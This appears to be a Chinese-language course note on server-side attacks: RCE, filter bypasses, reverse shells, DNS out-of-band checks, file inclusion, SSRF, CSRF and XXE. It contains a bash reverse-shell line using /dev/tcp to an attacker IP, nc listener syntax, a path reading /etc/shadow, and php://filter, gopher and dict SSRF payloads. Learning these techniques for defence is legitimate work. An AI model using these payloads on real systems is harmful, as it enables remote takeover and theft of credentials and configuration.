跳到主要内容

第 8 周

· 阅读需 3 分钟
Hsieh
Hsieh
提示

服务端漏洞的终结武器,深度学习远程命令执行(RCE)与远程代码执行(RCE)攻击技术。本篇涵盖命令注入的多种绕过手法、反弹 Shell 与 DNS 外带验证技巧、文件包含漏洞的利用方式,以及 SSRF 与 CSRF 攻击的原理与实战,掌握服务端安全的核心漏洞攻击链。

RCE

remote command/code excute

远程命令执行

用户可以执行指定远程命令

  • 通过逻辑运算拼接非指定的操作系统命令

  • 使用黑名单过滤 &&:, 仍可使用 | 绕过

  • | 被加入黑名单时, | 不跟空格亦可绕过

getshell

  • base64 编码绕过
  • Hex 编码绕过
  • 分块写入

反弹 shell

  1. 在肉鸡上使用 nc 命令监听
# 连接 
nc [-options] hostname port[s] [ports]

# 监听
nc -l -p port [-options] [hostname] [port]

  1. 目标机器上执行反弹 shell, 标准输出和标准输入均重定向到肉鸡
bash -c 'bash -i >& /dev/tcp/192.168.30.128/9999 0>&1

注意: /dev/tcp 为 bash 特有的伪设备, 其他 shell 不支持会如下报错

  1. 获取到目标机器的 shell

DNS 外带验证

当无回显时, 通过逻辑操作拼接 ping 命令, 判断是否有 RCE 漏洞

  1. 通过 dnslog 获取随机子域名, 验证是否接收到请求

  1. 刷新如果有请求记录, 说明一定存在 RCE 漏洞, 未收到不能完全说明没有 RCE 漏洞

远程代码执行

用户输入被作为代码的一部分进行执行

文件包含

服务端对用户侧生成的路径拼接参数没有校验, 拼接 ../../etc/shadow

  1. URL 的 file 参数值没有做限制

  1. 构造参数, 读取解析通过上传到服务器的图片木马

服务端请求伪造

Server-Side Request Forgery, 通过服务器作为代理, 请求其他资源

  • 利用伪协议 ?file=php://filter/read=convert.base64-encode/resource= 读取内网文件

  • 进行base64解码, 拿到数据库配置信息

常用伪协议

  1. gopher://
  • 构造任意 tcp 流量包
  • paload 示例: ?url=gopher://127.0.0.1:6379/_*payload
  1. dict://
  • 探测服务指纹
  • paload 示例: ?url=dict://127.0.0.1:6379/info
  1. netdoc://
  • 仅 java 环境, 类似 file:// 读取文件

跨站请求伪造

Cross-Side Request Forgery, 利用浏览器自动带上 cookie 机制, 诱导用户点击恶意链接执行黑客想要的操作

XXE

XML 外部实体注入, XML 允许引用外部实体时, 可利用各种协议构造恶意请求

  • 利用 Collaborator 或 dnslog 构造 payload 测试是否存在 xxe 漏洞

  • 观察到有回显则存在漏洞

  • 构造 payload, 读取敏感文件